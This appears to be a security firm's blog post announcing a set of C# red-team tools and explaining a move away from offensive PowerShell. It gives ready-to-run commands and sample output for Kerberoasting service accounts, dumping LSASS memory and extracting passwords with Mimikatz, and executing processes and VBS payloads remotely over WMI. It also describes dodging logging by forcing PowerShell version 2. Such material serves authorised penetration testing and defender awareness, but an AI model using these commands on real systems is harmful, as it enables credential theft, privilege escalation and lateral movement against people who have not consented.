Anyone who has followed myself or my teammates at SpecterOps for a while knows that we’re fairly big fans of PowerShell. I’ve been involved in offensive PowerShell for about 4 years, @mattifestation was the founder of PowerSploit and various defensive projects, @jaredcatkinson has been writing defensive PowerShell for years, and many of my teammates (@tifkin_, @enigma0x3, rvrsh3ll, @xorrior, @andrewchiles, and others) have written various security-related PowerShell projects over the past several years, totaling thousands of lines of code.
By now, the reason for choosing PowerShell should be fairly self-evident; the language is Turing-complete, built into modern Windows operating systems, and you can do anything with it. Our familiarity with PowerShell and its ubiquity on modern platforms led it to become our language of choice for proof of concepts and rapid prototyping, as well as more fleshed out projects like PowerShell Empire.
Then, with the awesome work from the PowerShell team with PowerShell Version 5, everything changed (sort of.) The canonical “PowerShell ♥ the Blue Team” post from June of 2015 (ironically published one month before Empire was released : ) details all the amazing new security protections integrated into the PowerShell engine, from better transcription, to deep script block logging, AMSI, and more. I had a slight offensive existential crisis when their post dropped, as I felt that a death blow had just been dealt to offensive PowerShell.
But guess what? Three years on and we still use PowerShell for many engagements, and the (offensive) sky has not fallen. For nearly every defensive step forward, the offensive community tends to respond in kind. I detailed a bit of this back-and-forth history with security-oriented PowerShell in my “Catch Me If You Can: PowerShell Red vs Blue” presentation last year at PSConfEU, and @mattifestation details some in depth bypasses for PowerShell-related security controls in our Adversary Tactics: PowerShell course offering.
After three years, here are my main two observations on why we’ve been able to continue to use PowerShell code offensively:
- The “Version 2 problem”: sadly, many organizations that have PowerShell Version 5 deployed either do not uninstall PowerShell Version 2, or actually install version 2 for backwards compatibility reasons. Version 2 of PowerShell does not take advantage any of the awesome security protections implemented by the PowerShell team, so if we can coerce this version of the engine to load we have nothing to worry about. This can be done as easily as powershell.exe -version 2, or we can manually load up any version present when using @tifkin_‘s UnmanagedPowerShell project. Most places are also not searching for abnormal PowerShell hosts, i.e. the loading of system.management.automation.dll into non-powershell.exe processes.
- Lack of centralized logging: from a scriptblock logging perspective, PowerShell is terrifying to us attackers. As Jeffrey Snover and Lee Holmes mentioned in their 2017 DerbyCon keynote, “We know you have a choice in post-exploitation languages and we’re glad you chose PowerShell.” However, as we’ve seen, in order for this system to be effective for an environment, a) Windows 10/Server 2016 needs to be widely deployed, b) logging has to be properly enabled on the host level, c) host logs have to be forwarded to a centralized SIEM/analysis platform, d) incident responders have to be paying attention and doing proper analysis on the logs, and e) incident responders have to be able to react within a reasonable amount of time. If any of these parts break down (and they often do in large organizations), red teams and real bad guys can still be quite effective with offensive PowerShell toolkits.
We’re big advocates of what Raphael Mudge termed “offense-in-depth“. In short, we like to have options in case a single tool or offensive technique fails in a particular environment. We’ve said for a few years (along with many others) that pivoting to offensive C# makes the most sense when coming from a PowerShell background. While you lose the amazing PowerShell pipeline and the ability to invoke one-liner stubs that load up all code in memory, you retain all access to existing .NET libraries, gain additional weaponization vectors (think @subtee‘s various app-whitelisting bypass vectors), have a number of additional obfuscation options, and avoid all PowerShell security protections. While there is a bit more overhead in learning to build a C# project instead of a simple PowerShell script, we truly do believe that PowerShell is a great “gateway drug” to C#.
So with that bit over with, I’d like to introduce some of what we’ve been working on over the past few months.
GhostPack is (currently) a collection various C# implementations of previous PowerShell functionality, and includes six separate toolsets being released today- Seatbelt, SharpUp, SharpRoast, SharpDump, SafetyKatz, and SharpWMI. All of these projects will be hosted on the GhostPack GitHub organization, with each project broken out as a separate repository.
Quick sidenote: GhostPack is not intended to be only C# code, nor is it purely offensive, though the projects released today are all C#. The plan is to have the organization house a number of security-related projects that are not PowerShell. Additionally, to keep defenders from building brittle signatures (think flagging various author’s Twitter handles : ) we’re not currently planning to distribute binaries for any of the projects. However, everything is Visual Studio Community 2015 compatible, so it’s a snap to build yourself.
Full disclosure: that’s almost nothing “new” here, just different implementations of the same techniques many have been using for years. Also, all code here should be considered beta- it’s had some testing but there are still plenty of bugs to be had :)
Seatbelt is by far the meatiest project being released. It’s a clearinghouse of situational awareness “safety checks”. That is, it manages the collection of host data that may be interesting from both offensive and defensive perspectives. Think everything from PowerShell security settings, to current user Kerberos tickets, to deleted Recycle Bin items, and more (40+ current checks!)
Seatbelt draws on a TON of existing work, highlighted in the README.md, and has already proven itself to be pretty useful on our engagements. It was heavily influenced by @tifkin_‘s Get-HostProfile.ps1 and @andrewchiles‘ HostEnum.ps1 PowerShell scripts.
SeatBelt.exe system collects the following system data:
- BasicOSInfo – Basic OS info (i.e. architecture, OS version, etc.)
- RebootSchedule – Reboot schedule (last 15 days) based on event IDs 12 and 13
- TokenGroupPrivs – Current process/token privileges (e.g. SeDebugPrivilege/etc.)
- UACSystemPolicies – UAC system policies via the registry
- PowerShellSettings – PowerShell versions and security settings via the registry
- AuditSettings – Audit settings via the registry
- WEFSettings – Windows Event Forwarding (WEF) settings via the registry
- LSASettings – LSA settings (including auth packages)
- UserEnvVariables – Current user environment variables
- SystemEnvVariables – Current system environment variables
- UserFolders – Folders in C:\Users\
- NonstandardServices – Services with binary paths not in C:\Windows\
- InternetSettings – Internet settings, including proxy configs
- LapsSettings – LAPS settings, if installed
- LocalGroupMembers – Members of local admins, RDP, and remote DCOM groups
- MappedDrives – Currently mapped drives
- RDPSessions – Current incoming RDP sessions
- WMIMappedDrives – Mapped drives via WMI
- NetworkShares – Network shares
- FirewallRules – Deny firewall rules, “full” dumps all
- AntiVirusWMI – Registered antivirus (via WMI)
- InterestingProcesses – “Interesting” processes- defensive products and admin tools
- RegistryAutoLogon – Registry autologon information
- RegistryAutoRuns – Registry autoruns
- DNSCache – DNS cache entries (via WMI)
- ARPTable – Lists the current ARP table and adapter information (equivalent to arp -a)
- AllTcpConnections – Lists current TCP connections and associated processes
- AllUdpConnections – Lists current UDP connections and associated processes
- NonstandardProcesses – Processes with binary paths not in C:\Windows\
If the user is in high integrity the following additional actions are run:
- SysmonConfig – Sysmon configuration from the registry
SeatBelt.exe user collects the following user data:
- Checks if Firefox has history files
- Checks if Chrome has history files
- TriageIE – Internet Explorer bookmarks and history, last 7 days
- SavedRDPConnections – Saved RDP connections, including username hints
- RecentRunCommands – Recent “run” commands
- PuttySessions – Interesting settings from any saved Putty configurations
- PuttySSHHostKeys – Saved putty SSH host keys
- RecentFiles – Parsed “recent files” shortcuts, last 7 days
If the user is in high integrity, these checks are run for ALL users instead of just the current user.
- CurrentDomainGroups – The current user’s local and domain groups
- Patches – Installed patches via WMI (takes a bit on some systems)
- LogonSessions – User logon session data
- KerberosTGTData – ALL TEH TGTZ!
- InterestingFiles – “Interesting” files matching various patterns in the user’s folder
- IETabs – Open Internet Explorer tabs
- TriageChrome – Chrome bookmarks and history
- TriageFirefox – Firefox history (no bookmarks)
- RecycleBin – Items in the Recycle Bin deleted in the last 30 days – only works from a user context!
- KerberosTickets – List Kerberos tickets. If elevated, list all grouped by all logon sessions.
- 4624Events – 4624 logon events from the security event log
- 4648Events – 4648 explicit logon events from the security event log
SeatBelt.exe all will run ALL enumeration checks, can be combined with full.
SeatBelt.exe [CheckName] [CheckName2] … will run one or more specified checks only (case-sensitive naming!)
SeatBelt.exe [system/user/all/CheckName] full will prevent any filtering and will return complete results. By default, certain checks are filtered (e.g. services NOT in C:\Windows\, etc.)
Here’s an example of some of the system collection:
There are a TON of checks and interesting information to gather- I definitely recommend you play around with it to see what works for you!
SharpUp is the start of a C# port of PowerUp‘s privilege escalation checks. Currently, only the most common checks have been ported; no weaponization functions have yet been implemented. The currently implemented checks are:
- GetModifiableServices – Returns services the current user can modify
- GetModifiableServiceBinaries – Returns services with binaries that the current user can modify
- GetAlwaysInstallElevated – Returns any values for the AlwaysInstallElevated registry key
- GetPathHijacks – Returns any folder in %PATH% that the current user can modify
- GetModifiableRegistryAutoRuns – Returns any modifiable binaries/scripts set to run in HKLM auto-runs
- GetSpecialTokenGroupPrivs – Returns “special” user privileges (e.g. SeDebugPrivilege/etc.)
- GetUnattendedInstallFiles – Returns any left over unattended install files
- GetMcAfeeSitelistFiles – Returns any McAfee SiteList.xml file locations
Here’s an example of its output:
C:\Temp>SharpUp.exe === SharpUp: Running Privilege Escalation Checks === === Modifiable Services === Name : VulnSvc DisplayName : VulnSvc Description : State : Stopped StartMode : Auto PathName : C:\Program Files\VulnSvc\VulnSvc.exe === Modifiable Service Binaries === Name : VulnSvc2 DisplayName : VulnSvc22 Description : State : Stopped StartMode : Auto PathName : C:\VulnSvc2\VulnSvc2.exe === AlwaysInstallElevated Registry Keys === === Modifiable Folders in %PATH% === Modifable %PATH% Folder : C:\Go\bin === Modifiable Registry Autoruns === === *Special* User Privileges === === Unattended Install Files === === McAfee Sitelist.xml Files === [*] Completed Privesc Checks in 18 seconds
SharpRoast is a C# port of various PowerView’s Kerberoasting functionality. The KerberosRequestorSecurityToken.GetRequest Method() method used was contributed to PowerView by @machosec. The hashes are output in hashcat format.
For more information on Kerberoasting, including links to Tim Medin’s original talk on the subject, check out my “Kerberoasting Without Mimikatz” post from November, 2016.
To roast all users in the current domain:
C:\Temp>SharpRoast.exe all SamAccountName : harmj0y DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local ServicePrincipalName : asdf/asdfasdf Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F... SamAccountName : sqlservice DistinguishedName : CN=SQL,CN=Users,DC=testlab,DC=local ServicePrincipalName : MSSQLSvc/SQL.testlab.local Hash : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$9994D1... ...
To roast a specific SPN in the current domain:
C:\Temp>SharpRoast.exe "asdf/asdfasdf" Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...
To roast a specific user in the current domain:
C:\Temp>SharpRoast.exe harmj0y SamAccountName : harmj0y DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local ServicePrincipalName : asdf/asdfasdf Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...
C:\Temp>SharpRoast.exe "OU=TestingOU,DC=testlab,DC=local" SamAccountName : testuser2 DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local ServicePrincipalName : service/host Hash : $krb5tgs$23$*$testlab.local$service/host*$08A6462...
C:\Temp\>SharpRoast.exe "MSSQLSvc/SQL@dev.testlab.local" Hash : $krb5tgs$23$*user$DOMAIN$MSSQLSvc/SQL@dev.testlab.local*$9994D148...
To roast all users in another (trusted) domain:
C:\Temp>SharpRoast.exe "LDAP://DC=dev,DC=testlab,DC=local" SamAccountName : jason DistinguishedName : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local ServicePrincipalName : test/test Hash : $krb5tgs$23$*$dev.testlab.local$test/test*$9129566 ...
Any of these commands also accept a [domain.com\user] [password] for to roast with explicit credentials. For example:
C:\Temp>SharpRoast.exe harmj0y "testlab.local\dfm" "Password123!" SamAccountName : harmj0y DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local ServicePrincipalName : asdf/asdfasdf Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$14AA4F...
This can be useful if you’re encountering a double-hop type of situation.
SharpDump is a essentially C# port of various PowerSploit’s Out-Minidump.ps1 functionality. The MiniDumpWriteDump Win32 API call is used to create a mini-dump for the process ID specified (LSASS by default) to C:\Windows\Temp\debug<PID>.out, GZipStream is used to compress the dump to C:\Windows\Temp\debug<PID>.bin (.gz format), and the original minidump file is deleted.
To dump LSASS (the default):
C:\Temp>SharpDump.exe [*] Dumping lsass (808) to C:\WINDOWS\Temp\debug808.out [+] Dump successful! [*] Compressing C:\WINDOWS\Temp\debug808.out to C:\WINDOWS\Temp\debug808.bin gzip file [*] Deleting C:\WINDOWS\Temp\debug808.out [+] Dumping completed. Rename file to "debug808.gz" to decompress. [*] Operating System : Windows 10 Enterprise N [*] Architecture : AMD64 [*] Use "sekurlsa::minidump debug.out" "sekurlsa::logonPasswords full" on the same OS/arch
To dump a specific process ID:
C:\Temp>SharpDump.exe 8700 [*] Dumping notepad++ (8700) to C:\WINDOWS\Temp\debug8700.out [+] Dump successful! [*] Compressing C:\WINDOWS\Temp\debug8700.out to C:\WINDOWS\Temp\debug8700.bin gzip file [*] Deleting C:\WINDOWS\Temp\debug8700.out [+] Dumping completed. Rename file to "debug8700.gz" to decompress.
If dumping LSASS, this compressed minidump can then be downloaded, renamed to dump<PID>.gz, extracted, and run through Mimikatz’ sekurlsa::minidump functionality on a similar platform:
First, the MiniDumpWriteDump Win32 API call is used to create a mini-dump of LSASS to C:\Windows\Temp\debug.bin. Then @subtee’s PELoader is used to load a customized version of Mimikatz that runs sekurlsa::logonpasswords and sekurlsa::ekeys on the minidump file, removing the file after execution is complete. This allows you to extract passwords from a system without having to transport the multi-megabyte minidump file, but prevents the Mimikatz’ specific OpenProcess attach to LSASS.
C:\Temp>SafetyKatz.exe [*] Dumping lsass (808) to C:\WINDOWS\Temp\debug.bin [+] Dump successful! [*] Executing loaded Mimikatz PE .#####. mimikatz 2.1.1 (x64) built on Jul 7 2018 03:36:26 - lil! .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## / *** Benjamin DELPY `gentilkiwi` ( firstname.lastname@example.org ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( email@example.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com *** / mimikatz # Opening : 'C:\Windows\Temp\debug.bin' file for minidump... Authentication Id : 0 ; 28935082 (00000000:01b983aa) Session : Interactive from 0 User Name : blahuser Domain : WINDOWS10 Logon Server : WINDOWS10 Logon Time : 7/15/2018 1:07:55 PM SID : S-1-5-21-1473254003-2681465353-4059813368-1002 msv :  Primary * Username : blahuser * Domain : WINDOWS10 ...(snip)... mimikatz # deleting C:\Windows\Temp\debug.bin
The last small tool (SharpWMI) is a simple C# wrapper for various WMI functionality. It allows for generic remote (or local) WMI querying, remote process execution through Win32_Process, and remote VBS execution through “temporarily” permanent WMI event subscriptions.
Local system enumeration : SharpWMI.exe action=query query="select * from win32_service" [namespace=BLAH] Ex: SharpWMI.exe action=query query="select * from win32_process" Ex: SharpWMI.exe action=query query="SELECT * FROM AntiVirusProduct" namespace="root\SecurityCenter2" Remote system enumeration : SharpWMI.exe action=query computername=HOST1[,HOST2,...] query="select * from win32_service" [namespace=BLAH] Ex: SharpWMI.exe action=query computername=primary.testlab.local query="select * from win32_service" Ex: SharpWMI.exe action=query computername=primary,secondary query="select * from win32_process Remote process creation : SharpWMI.exe action=create computername=HOST[,HOST2,...] command="C:\temp\process.exe [args]" Ex: SharpWMI.exe action=create computername=primary.testlab.local command="powershell.exe -enc ZQBj..." Remote VBS execution : SharpWMI.exe action=executevbs computername=HOST[,HOST2,...] Ex: SharpWMI.exe action=executevbs computername=primary.testlab.local
Nothing revolutionary here, but the WMI event subscription approach has served us well. A timer-based event subscription is created on the remote system with arbitrary VBS as the ActiveScriptEventConsumer payload. The event triggers, your VBS is executed, and everything is cleaned up:
C:\Temp>SharpWMI.exe action=executevbs computername=primary.testlab.local [*] Creating 'Timer' object on primary.testlab.local [*] Setting 'Debug' event filter on primary.testlab.local [*] Setting 'Debug' event consumer on primary.testlab.local [*] Binding 'Debug' event filter and consumer on primary.testlab.local [*] Waiting 45 seconds for event to trigger on primary.testlab.local ... [*] Removing 'Timer' internal timer from primary.testlab.local [*] Removing FilterToConsumerBindingr from primary.testlab.local [*] Removing 'Debug' event filter from primary.testlab.local [*] Removing 'Debug' event consumer from primary.testlab.local
The filter/consumer name can be modified with the eventname=BLAH argument. If you want to change the VBS executed, modify the vbsPayload string at the top of the project before compiling. DotNetToJScript works great here ;)
We hope that others find this code helpful, and we encourage any on the fence about C# development to take the plunge! I was a bit apprehensive about starting the C# development for this codebase, but after the first few days I realized how easy it was to transition from PowerShell. Also, I want to reiterate that security-oriented PowerShell is not “dead” from our perspective- we will still continue to use it, but again we like to have diversity in our toolsets.
We have a few more tools and modifications that will be pushed out over the next few months, so expect the repositories to stay active. A follow-up post in the next few weeks will cover a few C# weaponization specifics, but until then, have fun!